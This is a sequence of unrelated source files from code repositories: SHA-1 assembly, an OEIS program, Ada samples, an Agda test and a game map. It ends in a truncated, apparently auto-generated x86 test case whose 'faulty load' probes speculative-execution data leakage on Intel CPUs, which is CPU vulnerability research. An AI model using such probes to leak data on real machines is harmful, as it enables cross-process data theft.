sha1nexte E1, MSG3
movdqa E0, ABCD
sha1msg2 MSG0, MSG3
sha1rnds4 ABCD, E1, 1
sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword [rcx+16*7], ABCD
;; rounds 32-35
sha1nexte E0, MSG0
movdqa E1, ABCD
sha1msg2 MSG1, MSG0
sha1rnds4 ABCD, E0, 1
sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword [rcx+16*8], ABCD
;; rounds 36-39
sha1nexte E1, MSG1
movdqa E0, ABCD
sha1msg2 MSG2, MSG1
sha1rnds4 ABCD, E1, 1
sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword [rcx+16*9], ABCD
;; rounds 40-43
sha1nexte E0, MSG2
movdqa E1, ABCD
sha1msg2 MSG3, MSG2
sha1rnds4 ABCD, E0, 2
sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword [rcx+16*10], ABCD
;; rounds 44-47
sha1nexte E1, MSG3
movdqa E0, ABCD
sha1msg2 MSG0, MSG3
sha1rnds4 ABCD, E1, 2
sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword [rcx+16*11], ABCD
;; rounds 48-51
sha1nexte E0, MSG0
movdqa E1, ABCD
sha1msg2 MSG1, MSG0
sha1rnds4 ABCD, E0, 2
sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword [rcx+16*12], ABCD
;; rounds 52-55
sha1nexte E1, MSG1
movdqa E0, ABCD
sha1msg2 MSG2, MSG1
sha1rnds4 ABCD, E1, 2
sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword [rcx+16*13], ABCD
;; rounds 56-59
sha1nexte E0, MSG2
movdqa E1, ABCD
sha1msg2 MSG3, MSG2
sha1rnds4 ABCD, E0, 2
sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword [rcx+16*14], ABCD
;; rounds 60-63
sha1nexte E1, MSG3
movdqa E0, ABCD
sha1msg2 MSG0, MSG3
sha1rnds4 ABCD, E1, 3
sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword [rcx+16*15], ABCD
;; rounds 64-67
sha1nexte E0, MSG0
movdqa E1, ABCD
sha1msg2 MSG1, MSG0
sha1rnds4 ABCD, E0, 3
sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword [rcx+16*16], ABCD
;; rounds 68-71
sha1nexte E1, MSG1
movdqa E0, ABCD
sha1msg2 MSG2, MSG1
sha1rnds4 ABCD, E1, 3
pxor MSG3, MSG1
;movdqu oword [rcx+16*17], ABCD
;; rounds 72-75
sha1nexte E0, MSG2
movdqa E1, ABCD
sha1msg2 MSG3, MSG2
sha1rnds4 ABCD, E0, 3
;movdqu oword [rcx+16*18], ABCD
;; rounds 76-79
sha1nexte E1, MSG3
movdqa E0, ABCD
sha1rnds4 ABCD, E1, 3
;movdqu oword [rcx+16*19], ABCD
;; add current hash values with previously saved
sha1nexte E0, oword [e_save]
paddd ABCD, oword [abcd_save]
add MSG_PTR, MBS_SHA1
sub MSG_LEN, MBS_SHA1
jg .sha1_block_loop
;; write hash values back in the correct order
pshufd ABCD, ABCD, 01Bh
movdqu oword [HASH_PTR], ABCD
pextrd dword [HASH_PTR+16], E0, 3
.quit:
REST_XMM
REST_GPR
ret
ENDFUNC UpdateSHA1ni
%else ;; no sha ni support in VxWorks - therefore we temporary use db
IPPASM UpdateSHA1ni,PUBLIC
%assign LOCAL_FRAME 16*2
USES_GPR rsi,rdi
USES_XMM xmm6,xmm7
COMP_ABI 4
%xdefine MBS_SHA1 (64) ; SHA-1 message block length (bytes)
%xdefine HASH_PTR rdi ; 1st arg
%xdefine MSG_PTR rsi ; 2nd arg
%xdefine MSG_LEN rdx ; 3rd arg
%xdefine ABCD xmm0
%xdefine E0 xmm1 ; Need two E's b/c they ping pong
%xdefine E1 xmm2
%xdefine MSG0 xmm3
%xdefine MSG1 xmm4
%xdefine MSG2 xmm5
%xdefine MSG3 xmm6
%xdefine SHUF_MASK xmm7
;
; stack frame
;
%xdefine abcd_save rsp
%xdefine e_save rsp+16
movsxd MSG_LEN, edx ; expand mLen
test MSG_LEN, MSG_LEN
jz .quit
;; load initial hash values
movdqu ABCD, oword [HASH_PTR]
pinsrd E0, dword [HASH_PTR+16], 3
pand E0, oword [rel UPPER_DWORD_MASK]
pshufd ABCD, ABCD, 01Bh
movdqa SHUF_MASK, oword [rel PSHUFFLE_BYTE_FLIP_MASK]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; process next data block
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.sha1_block_loop:
movdqa oword [abcd_save], ABCD
movdqa oword [e_save], E0
;; rounds 0-3
movdqu MSG0, oword [MSG_PTR +0*16]
pshufb MSG0, SHUF_MASK
paddd E0, MSG0
movdqa E1, ABCD
db 0FH,3AH,0CCH,0C1H,00H ;;sha1rnds4 ABCD, E0, 0
;movdqu oword [rcx+16*0], ABCD
;; rounds 4-7
movdqu MSG1, oword [MSG_PTR +1*16]
pshufb MSG1, SHUF_MASK
db 0FH,38H,0C8H,0D4H ;;sha1nexte E1, MSG1
movdqa E0, ABCD
db 0FH,3AH,0CCH,0C2H,00H ;;sha1rnds4 ABCD, E1, 0
db 0FH,38H,0C9H,0DCH ;;sha1msg1 MSG0, MSG1
;movdqu oword [rcx+16*1], ABCD
;; rounds 8-11
movdqu MSG2, oword [MSG_PTR +2*16]
pshufb MSG2, SHUF_MASK
db 0FH,38H,0C8H,0CDH ;;sha1nexte E0, MSG2
movdqa E1, ABCD
db 0Fh,3Ah,0CCh,0C1h,00h ;;sha1rnds4 ABCD, E0, 0
db 0Fh,38h,0C9h,0E5h ;;sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword [rcx+16*2], ABCD
;; rounds 12-15
movdqu MSG3, oword [MSG_PTR +3*16]
pshufb MSG3, SHUF_MASK
db 0Fh,38H,0C8h,0D6h ;;sha1nexte E1, MSG3
movdqa E0, ABCD
db 0Fh,38H,0CAh,0DEh ;;sha1msg2 MSG0, MSG3
db 0Fh,3AH,0CCh,0C2h,00h ;;sha1rnds4 ABCD, E1, 0
db 0Fh,38H,0C9h,0EEh ;;sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword [rcx+16*3], ABCD
;; rounds 16-19
db 0Fh,38H,0C8h,0CBh ;;sha1nexte E0, MSG0
movdqa E1, ABCD
db 0Fh,38H,0CAh,0E3h ;;sha1msg2 MSG1, MSG0
db 0Fh,3AH,0CCh,0C1h,00h ;;sha1rnds4 ABCD, E0, 0
db 0Fh,38H,0C9h,0F3h ;;sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword [rcx+16*4], ABCD
;; rounds 20-23
db 0FH,38H,0C8h,0D4h ;;sha1nexte E1, MSG1
movdqa E0, ABCD
db 0FH,38H,0CAh,0ECH ;;sha1msg2 MSG2, MSG1
db 0FH,3AH,0CCH,0C2H,01H ;;sha1rnds4 ABCD, E1, 1
db 0FH,38H,0C9h,0DCh ;;sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword [rcx+16*5], ABCD
;; rounds 24-27
db 0FH,38H,0C8h,0CDh ;;sha1nexte E0, MSG2
movdqa E1, ABCD
db 0FH,38H,0CAh,0F5h ;;sha1msg2 MSG3, MSG2
db 0FH,3AH,0CCh,0C1h,01h ;;sha1rnds4 ABCD, E0, 1
db 0FH,38H,0C9h,0E5h ;;sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword [rcx+16*6], ABCD
;; rounds 28-31
db 0FH,38H,0C8H,0D6h ;;sha1nexte E1, MSG3
movdqa E0, ABCD
db 0FH,38H,0CAH,0DEh ;;sha1msg2 MSG0, MSG3
db 0FH,3AH,0CCH,0C2H,01h ;;sha1rnds4 ABCD, E1, 1
db 0FH,38H,0C9H,0EEh ;;sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword [rcx+16*7], ABCD
;; rounds 32-35
db 0FH,38H,0C8H,0CBh ;;sha1nexte E0, MSG0
movdqa E1, ABCD
db 0FH,38H,0CAH,0E3h ;;sha1msg2 MSG1, MSG0
db 0FH,3AH,0CCH,0C1H,01h ;;sha1rnds4 ABCD, E0, 1
db 0FH,38H,0C9H,0F3h ;;sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword [rcx+16*8], ABCD
;; rounds 36-39
db 0FH,38H,0C8H,0D4h ;;sha1nexte E1, MSG1
movdqa E0, ABCD
db 0FH,38H,0CAH,0ECh ;;sha1msg2 MSG2, MSG1
db 0FH,3AH,0CCH,0C2H,01h ;;sha1rnds4 ABCD, E1, 1
db 0FH,38H,0C9H,0DCh ;;sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword [rcx+16*9], ABCD
;; rounds 40-43
db 0FH,38H,0C8H,0CDh ;;sha1nexte E0, MSG2
movdqa E1, ABCD
db 0FH,38H,0CAH,0F5h ;;sha1msg2 MSG3, MSG2
db 0FH,3AH,0CCH,0C1H,02h ;;sha1rnds4 ABCD, E0, 2
db 0FH,38H,0C9H,0E5h ;;sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword [rcx+16*10], ABCD
;; rounds 44-47
db 0FH,38H,0C8H,0D6h ;;sha1nexte E1, MSG3
movdqa E0, ABCD
db 0FH,38H,0CAH,0DEh ;;sha1msg2 MSG0, MSG3
db 0FH,3AH,0CCH,0C2h,02h ;;sha1rnds4 ABCD, E1, 2
db 0FH,38H,0C9H,0EEh ;;sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword [rcx+16*11], ABCD
;; rounds 48-51
db 0Fh,38H,0C8h,0CBh ;;sha1nexte E0, MSG0
movdqa E1, ABCD
db 0Fh,38H,0CAH,0E3h ;;sha1msg2 MSG1, MSG0
db 0Fh,3AH,0CCH,0C1H,02h ;;sha1rnds4 ABCD, E0, 2
db 0Fh,38H,0C9H,0F3h ;;sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword [rcx+16*12], ABCD
;; rounds 52-55
db 0Fh,38H,0C8h,0D4h ;;sha1nexte E1, MSG1
movdqa E0, ABCD
db 0Fh,38H,0CAH,0ECh ;;sha1msg2 MSG2, MSG1
db 0Fh,3AH,0CCH,0C2H,02h ;;sha1rnds4 ABCD, E1, 2
db 0Fh,38H,0C9H,0DCh ;;sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword [rcx+16*13], ABCD
;; rounds 56-59
db 0Fh,38H,0C8H,0CDh ;;sha1nexte E0, MSG2
movdqa E1, ABCD
db 0Fh,38H,0CAH,0F5h ;;sha1msg2 MSG3, MSG2
db 0Fh,3AH,0CCH,0C1H,02h ;;sha1rnds4 ABCD, E0, 2
db 0Fh,38H,0C9H,0E5h ;;sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword [rcx+16*14], ABCD
;; rounds 60-63
db 0Fh,38H,0C8H,0D6h ;;sha1nexte E1, MSG3
movdqa E0, ABCD
db 0Fh,38H,0CAH,0DEh ;;sha1msg2 MSG0, MSG3
db 0Fh,3AH,0CCH,0C2H,03h ;;sha1rnds4 ABCD, E1, 3
db 0Fh,38H,0C9H,0EEh ;;sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword [rcx+16*15], ABCD
;; rounds 64-67
db 0Fh,38H,0C8H,0CBh ;;sha1nexte E0, MSG0
movdqa E1, ABCD
db 0Fh,38H,0CAH,0E3h ;;sha1msg2 MSG1, MSG0
db 0Fh,3AH,0CCH,0C1H,03h ;;sha1rnds4 ABCD, E0, 3
db 0Fh,38H,0C9H,0F3h ;;sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword [rcx+16*16], ABCD
;; rounds 68-71
db 0Fh,38H,0C8h,0D4h ;;sha1nexte E1, MSG1
movdqa E0, ABCD
db 0Fh,38H,0CAh,0ECh ;;sha1msg2 MSG2, MSG1
db 0Fh,3AH,0CCh,0C2h,03h ;;sha1rnds4 ABCD, E1, 3
pxor MSG3, MSG1
;movdqu oword [rcx+16*17], ABCD
;; rounds 72-75
db 0Fh,38H,0C8h,0CDh ;;sha1nexte E0, MSG2
movdqa E1, ABCD
db 0Fh,38H,0CAh,0F5h ;;sha1msg2 MSG3, MSG2
db 0Fh,3AH,0CCh,0C1h,03h ;;sha1rnds4 ABCD, E0, 3
;movdqu oword [rcx+16*18], ABCD
;; rounds 76-79
db 0Fh,38H,0C8h,0D6h ;;sha1nexte E1, MSG3
movdqa E0, ABCD
db 0Fh,3AH,0CCh,0C2h,03h ;;sha1rnds4 ABCD, E1, 3
;movdqu oword [rcx+16*19], ABCD
;; add current hash values with previously saved
db 0Fh,38H,0C8h,4Ch,24h,10h ;;sha1nexte E0, oword [e_save]
paddd ABCD, oword [abcd_save]
add MSG_PTR, MBS_SHA1
sub MSG_LEN, MBS_SHA1
jg .sha1_block_loop
;; write hash values back in the correct order
pshufd ABCD, ABCD, 01Bh
movdqu oword [HASH_PTR], ABCD
pextrd dword [HASH_PTR+16], E0, 3
.quit:
REST_XMM
REST_GPR
ret
ENDFUNC UpdateSHA1ni
%endif ;; VxWorks
;;%endif ;; (_IPP32E >= _IPP32E_Y8)
%endif ;; _FEATURE_ON_ / _FEATURE_TICKTOCK_
%endif ;; _ENABLE_ALG_SHA1_
|
programs/oeis/021/A021219.asm | neoneye/loda | 22 | 104200 | <gh_stars>10-100
; A021219: Decimal expansion of 1/215.
; 0,0,4,6,5,1,1,6,2,7,9,0,6,9,7,6,7,4,4,1,8,6,0,4,6,5,1,1,6,2,7,9,0,6,9,7,6,7,4,4,1,8,6,0,4,6,5,1,1,6,2,7,9,0,6,9,7,6,7,4,4,1,8,6,0,4,6,5,1,1,6,2,7,9,0,6,9,7,6,7,4,4,1,8,6,0,4,6,5,1,1,6,2,7,9,0,6,9,7
add $0,1
mov $1,10
pow $1,$0
mul $1,8
div $1,1720
mod $1,10
mov $0,$1
|
libsrc/_DEVELOPMENT/stdlib/z80/asm__ldiv.asm | jpoikela/z88dk | 640 | 97238 | <gh_stars>100-1000
; ===============================================================
; Dec 2013
; ===============================================================
;
; void _ldiv(ldiv_t *ld, long numer, long denom)
;
; Fill the ldiv_t struct with the results of long divide
; numer / denom.
;
; struct ldiv_t
; {
; long quot;
; long rem;
; };
;
; ===============================================================
SECTION code_clib
SECTION code_stdlib
PUBLIC asm__ldiv
EXTERN l_divs_32_32x32, __ldiv_store
asm__ldiv:
; enter : bc = ldiv_t *
; dehl = denom
; dehl' = numer
;
; exit : ldiv_t.quot = numer / denom
; ldiv_t.rem = numer % denom
;
; dehl' = numer % denom
; dehl = numer / denom
;
; uses : af, bc, de, hl, bc', de', hl', ixh
push bc ; save ldiv_t *
call l_divs_32_32x32
; dehl = numer / denom
; dehl' = numer % denom
; stack = ldiv_t *
jp __ldiv_store
|
Task/Substring/Ada/substring-3.ada | LaudateCorpus1/RosettaCodeData | 1 | 17217 | <filename>Task/Substring/Ada/substring-3.ada
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Strings.Fixed; use Ada.Strings.Fixed;
procedure Test_Slices is
Str : constant String := "abcdefgh";
N : constant := 2;
M : constant := 3;
begin
Put_Line (Str (Str'First + N - 1..Str'First + N + M - 2));
Put_Line (Str (Str'First + N - 1..Str'Last));
Put_Line (Str (Str'First..Str'Last - 1));
Put_Line (Head (Tail (Str, Str'Last - Index (Str, "d", 1)), M));
Put_Line (Head (Tail (Str, Str'Last - Index (Str, "de", 1) - 1), M));
end Test_Slices;
|
Task/Sockets/Ada/sockets.ada | djgoku/RosettaCodeData | 0 | 28784 | <gh_stars>0
with GNAT.Sockets; use GNAT.Sockets;
procedure SocketSend is
procedure sendData (IP : String; Msg : String) is
Client : Socket_Type;
Address : Sock_Addr_Type;
Channel : Stream_Access;
begin
Create_Socket (Client);
Address.Addr := Inet_Addr(ip);
Address.Port := 256;
Connect_Socket (Client, Address);
Channel := Stream (Client);
String'Write (Channel, Msg);
Close_Socket (Client);
end;
begin
Initialize;
sendData ("127.0.0.1","hello socket world");
end;
|
2002-summer/mp3/map.asm | ece291/machine-problems | 3 | 174383 | ; MP3 - 291hack
; The game map
;
; <NAME>, Summer 2002
; Author: <NAME>, <NAME>
; University of Illinois, Urbana-Champaign
; Dept. of Electrical and Computer Engineering
;
; Version 1.0
TILE_VISIBLE EQU 80h
TILE_SEEN EQU 40h
TILE_SOLID EQU 20h ; sight AND walking
GLOBAL Map
SEGMENT code
; macros xrolmpqbd
%define x 0|TILE_SOLID ; black black emptiness
%define r 1 ; room tile
%define o 2 ; path tile
%define l 3|TILE_SOLID ; solid vertical wall
%define m 4|TILE_SOLID ; solid horizontal wall
%define p 5|TILE_SOLID ; solid corner walls
%define q 6|TILE_SOLID ;
%define b 7|TILE_SOLID ;
%define d 8|TILE_SOLID ;
%define e 9 ; door tile
%macro break 2-*
%rep %0/2
times %1 db %2
%rotate 2
%endrep
%endmacro
Map
times 80 db x
times 80 db x
times 80 db x
break 20,x, 1,p, 8,m, 1,q, 20,x, 1,p, 8,m, 1,q, 20,x
break 20,x, 1,l, 8,m, 1,l, 20,x, 1,l, 8,m, 1,l, 20,x
break 20,x, 1,l, 8,r, 1,e, 3,o, 17,x, 1,l, 8,r, 1,l, 20,x
break 20,x, 1,l, 8,r, 1,l, 2,x, 3,o, 15,x, 1,l, 8,r, 1,l, 20,x
break 20,x, 1,l, 8,r, 1,l, 4,x, 3,o, 13,x, 1,l, 8,r, 1,l, 20,x
break 20,x, 1,l, 8,r, 1,l, 6,x, 3,o, 11,x, 1,l, 8,r, 1,l, 20,x
break 20,x, 1,l, 8,r, 1,l, 8,x, 4,o, 8,x, 1,l, 8,r, 1,l, 20,x
break 20,x, 1,l, 8,r, 1,l, 11,x, 3,o, 6,x, 1,l, 8,r, 1,l, 20,x
break 20,x, 1,l, 8,r, 1,l, 13,x, 3,o, 4,x, 1,l, 8,r, 1,l, 20,x
break 20,x, 1,l, 8,r, 1,l, 15,x, 3,o, 2,x, 1,l, 8,r, 1,l, 20,x
break 20,x, 1,l, 8,r, 1,l, 17,x, 3,o, 1,e, 8,r, 1,l, 20,x
break 20,x, 1,l, 8,m, 1,l, 20,x, 1,l, 8,m, 1,l, 20,x
break 20,x, 1,b, 8,m, 1,d, 20,x, 1,b, 8,m, 1,d, 20,x
times 80 db x
times 80 db x
times 80 db x
times 80 db x
|
src/inotify-recursive.adb | onox/inotify-ada | 9 | 16161 | <filename>src/inotify-recursive.adb
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2019 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Ada.Containers.Bounded_Vectors;
with Ada.Directories;
with Ada.IO_Exceptions;
package body Inotify.Recursive is
function "+" (Value : String) return SU.Unbounded_String renames SU.To_Unbounded_String;
function "+" (Value : SU.Unbounded_String) return String renames SU.To_String;
package Watch_Vectors is new Ada.Containers.Bounded_Vectors (Positive, Watch);
package Move_Vectors is new Ada.Containers.Bounded_Vectors (Positive, Move);
overriding
function Add_Watch
(Object : in out Recursive_Instance;
Path : String;
Mask : Watch_Bits := All_Events) return Watch
is
Recursive_Mask : Watch_Bits := Mask;
procedure Add_Entry (Next_Entry : Ada.Directories.Directory_Entry_Type) is
use all type Ada.Directories.File_Kind;
Name : constant String := Ada.Directories.Simple_Name (Next_Entry);
begin
if Ada.Directories.Kind (Next_Entry) = Directory and Name not in "." | ".." then
Object.Add_Watch (Ada.Directories.Compose (Path, Name), Recursive_Mask);
end if;
exception
-- Ignore the folder if the user has no permission to scan it
-- or if the file is a symlink
when Ada.IO_Exceptions.Use_Error =>
null;
end Add_Entry;
begin
Recursive_Mask.Created := True;
Recursive_Mask.Deleted_Self := True;
Recursive_Mask.Moved_From := True;
Recursive_Mask.Moved_To := True;
Recursive_Mask.Moved_Self := True;
-- Do not follow symlinks
if Ada.Directories.Full_Name (Path) /= Path then
raise Ada.IO_Exceptions.Use_Error;
end if;
Ada.Directories.Search (Path, "", Process => Add_Entry'Access);
return Result : constant Watch := Instance (Object).Add_Watch (Path, Recursive_Mask) do
Object.Masks.Insert (Result.Watch, Mask);
end return;
end Add_Watch;
procedure Remove_Children (Object : in out Recursive_Instance; Subject : Watch) is
Path : constant String := Object.Watches.Element (Subject.Watch);
Watches : Watch_Vectors.Vector (Capacity => Object.Watches.Length);
procedure Iterate (Position : Watch_Maps.Cursor) is
Other_Path : constant String := Watch_Maps.Element (Position);
begin
if Other_Path'Length > Path'Length
and then Path & '/' = Other_Path (1 .. Path'Length + 1)
then
Watches.Append ((Watch => Watch_Maps.Key (Position)));
end if;
end Iterate;
begin
Object.Watches.Iterate (Iterate'Access);
for Element of Watches loop
Instance (Object).Remove_Watch (Element);
Object.Masks.Delete (Element.Watch);
end loop;
end Remove_Children;
overriding
procedure Remove_Watch (Object : in out Recursive_Instance; Subject : Watch) is
begin
-- Procedure Process_Events might read multiple events for a specific
-- watch and the callback for the first event may immediately try to
-- remove the watch
if Object.Defer_Remove then
if not Object.Pending_Removals.Contains (Subject) then
Object.Pending_Removals.Append (Subject);
end if;
return;
end if;
Object.Remove_Children (Subject);
Instance (Object).Remove_Watch (Subject);
Object.Masks.Delete (Subject.Watch);
end Remove_Watch;
overriding
procedure Process_Events
(Object : in out Recursive_Instance;
Handle : not null access procedure
(Subject : Watch;
Event : Event_Kind;
Is_Directory : Boolean;
Name : String);
Move_Handle : not null access procedure
(Subject : Watch;
Is_Directory : Boolean;
From, To : String))
is
Moves : Move_Vectors.Vector (Capacity => Object.Watches.Length);
procedure Handle_Event
(Subject : Inotify.Watch;
Event : Inotify.Event_Kind;
Is_Directory : Boolean;
Name : String)
is
Mask : constant Watch_Bits := Object.Masks (Subject.Watch);
begin
case Event is
when Created =>
if Mask.Created then
Handle (Subject, Event, Is_Directory, Name);
end if;
if Is_Directory then
Object.Add_Watch (Name, Mask);
end if;
when Deleted_Self =>
if Mask.Deleted_Self then
Handle (Subject, Event, Is_Directory, Name);
-- TODO Is_Directory is always False even if inode is a directory
end if;
-- The OS will already have deleted the watch and generated
-- an Ignored event, which caused the watch to be deleted from
-- Object.Watches in Instance.Process_Events
Object.Masks.Delete (Subject.Watch);
when Moved_From =>
if Mask.Moved_From then
Handle (Subject, Event, Is_Directory, Name);
end if;
when Moved_To =>
if Mask.Moved_To then
Handle (Subject, Event, Is_Directory, Name);
end if;
when Moved_Self =>
if Mask.Moved_Self then
Handle (Subject, Event, Is_Directory, Name);
-- TODO Is_Directory is always False even if inode is a directory
end if;
declare
Cursor : Move_Vectors.Cursor := Move_Vectors.No_Element;
procedure Process_Move (Position : Move_Vectors.Cursor) is
Element : constant Move := Moves (Position);
begin
if +Element.From = Name then
Object.Remove_Watch (Subject);
Object.Add_Watch (+Element.To, Mask);
Cursor := Position;
end if;
end Process_Move;
use type Move_Vectors.Cursor;
begin
Moves.Iterate (Process_Move'Access);
if Cursor /= Move_Vectors.No_Element then
Moves.Delete (Cursor);
else
Object.Remove_Watch (Subject);
-- TODO Delete cookie as well
end if;
end;
when others =>
Handle (Subject, Event, Is_Directory, Name);
end case;
end Handle_Event;
procedure Handle_Move_Event
(Subject : Watch;
Is_Directory : Boolean;
From, To : String) is
begin
Move_Handle (Subject, Is_Directory, From, To);
if Is_Directory then
if From /= "" then
Moves.Append ((+From, +To));
else
Object.Add_Watch (To, Object.Masks.Element (Subject.Watch));
end if;
end if;
end Handle_Move_Event;
begin
Instance (Object).Process_Events (Handle_Event'Access, Handle_Move_Event'Access);
end Process_Events;
overriding
procedure Process_Events
(Object : in out Recursive_Instance;
Handle : not null access procedure
(Subject : Watch;
Event : Event_Kind;
Is_Directory : Boolean;
Name : String))
is
procedure Move_Handle
(Subject : Watch;
Is_Directory : Boolean;
From, To : String) is null;
begin
Object.Process_Events (Handle, Move_Handle'Access);
end Process_Events;
end Inotify.Recursive;
|
test/Succeed/Issue3102.agda | KDr2/agda | 1 | 6990 | <filename>test/Succeed/Issue3102.agda
-- Andreas, 2018-06-03, issue #3102
-- Regression: slow reduce with lots of module parameters and an import.
-- {-# OPTIONS -v tc.cc:30 -v tc.cover.top:30 --profile=internal #-}
open import Agda.Builtin.Bool
module _ (A B C D E F G H I J K L M O P Q R S T U V W X Y Z
A₁ B₁ C₁ D₁ E₁ F₁ G₁ H₁ I₁ J₁ K₁ L₁ M₁ O₁ P₁ Q₁ R₁ S₁ T₁ U₁ V₁ W₁ X₁ Y₁ Z₁
A₂ B₂ C₂ D₂ E₂ F₂ G₂ H₂ I₂ J₂ K₂ L₂ M₂ O₂ P₂ Q₂ R₂ S₂ T₂ U₂ V₂ W₂ X₂ Y₂ Z₂
A₃ B₃ C₃ D₃ E₃ F₃ G₃ H₃ I₃ J₃ K₃ L₃ M₃ O₃ P₃ Q₃ R₃ S₃ T₃ U₃ V₃ W₃ X₃ Y₃ Z₃
A₄ B₄ C₄ D₄ E₄ F₄ G₄ H₄ I₄ J₄ K₄ L₄ M₄ O₄ P₄ Q₄ R₄ S₄ T₄ U₄ V₄ W₄ X₄ Y₄ Z₄
: Set) where
test : Bool → Bool
test true = false
test false = false
-- Should succeed instantaneously.
|
programs/oeis/131/A131818.asm | neoneye/loda | 22 | 98556 | <filename>programs/oeis/131/A131818.asm
; A131818: A130296 + A002260 - A000012. Triangle read by rows: row n consists of n, 2, 3, 4,...n.
; 1,2,2,3,2,3,4,2,3,4,5,2,3,4,5,6,2,3,4,5,6,7,2,3,4,5,6,7,8,2,3,4,5,6,7,8,9,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,11,2,3,4,5,6,7,8,9,10,11,12,2,3,4,5,6,7,8,9,10,11,12
lpb $0
mov $1,$0
add $2,1
trn $0,$2
lpe
add $1,1
mov $0,$1
|
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_244_1429.asm | ljhsiun2/medusa | 9 | 247475 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x83f1, %rsi
lea addresses_A_ht+0x828d, %rdi
nop
nop
nop
and $54425, %rax
mov $76, %rcx
rep movsq
nop
nop
xor $45001, %r15
lea addresses_UC_ht+0x16749, %rbx
nop
nop
nop
nop
xor $44489, %r12
mov $0x6162636465666768, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%rbx)
nop
nop
add %rbx, %rbx
lea addresses_D_ht+0xa1f1, %rsi
nop
nop
sub %r12, %r12
movl $0x61626364, (%rsi)
nop
nop
nop
sub $35384, %rsi
lea addresses_WT_ht+0x127d5, %r15
nop
nop
nop
inc %rax
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
vmovups %ymm3, (%r15)
nop
nop
nop
nop
and $3493, %r15
lea addresses_normal_ht+0x16ff1, %rsi
lea addresses_WT_ht+0x3721, %rdi
nop
nop
sub $22867, %r15
mov $67, %rcx
rep movsw
and %r12, %r12
lea addresses_UC_ht+0xe561, %r15
nop
nop
nop
nop
nop
add %rcx, %rcx
mov $0x6162636465666768, %r12
movq %r12, (%r15)
cmp %rax, %rax
lea addresses_WT_ht+0x6441, %rsi
lea addresses_WT_ht+0x13f1, %rdi
nop
nop
nop
nop
sub $22561, %r14
mov $74, %rcx
rep movsb
nop
cmp %r14, %r14
lea addresses_normal_ht+0xa8b1, %rdi
nop
inc %rcx
movb (%rdi), %r15b
nop
cmp $40315, %rcx
lea addresses_UC_ht+0x19cf1, %rbx
nop
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
vmovups %ymm3, (%rbx)
cmp %rcx, %rcx
lea addresses_WC_ht+0x13911, %rsi
nop
nop
nop
nop
dec %r15
mov (%rsi), %r14
nop
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_WT_ht+0x1c5f1, %rbx
nop
nop
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
vmovups %ymm3, (%rbx)
nop
add $38158, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %r9
push %rax
push %rdx
push %rsi
// Store
lea addresses_WC+0x19a9f, %rdx
clflush (%rdx)
nop
add %r10, %r10
mov $0x5152535455565758, %r15
movq %r15, %xmm4
vmovntdq %ymm4, (%rdx)
nop
xor %rdx, %rdx
// Load
mov $0xf81, %r9
nop
nop
inc %rax
mov (%r9), %r15w
add $51003, %r9
// Store
lea addresses_PSE+0x17a87, %r11
inc %r9
movl $0x51525354, (%r11)
nop
nop
and %r10, %r10
// Store
lea addresses_RW+0x59f1, %r9
sub $69, %r15
mov $0x5152535455565758, %rdx
movq %rdx, %xmm1
vmovaps %ymm1, (%r9)
nop
nop
nop
nop
nop
add $34655, %rsi
// Store
lea addresses_A+0x16d63, %rax
nop
nop
nop
nop
cmp $50760, %r10
mov $0x5152535455565758, %r9
movq %r9, %xmm1
vmovaps %ymm1, (%rax)
nop
nop
and %r9, %r9
// Faulty Load
lea addresses_PSE+0x18ff1, %r15
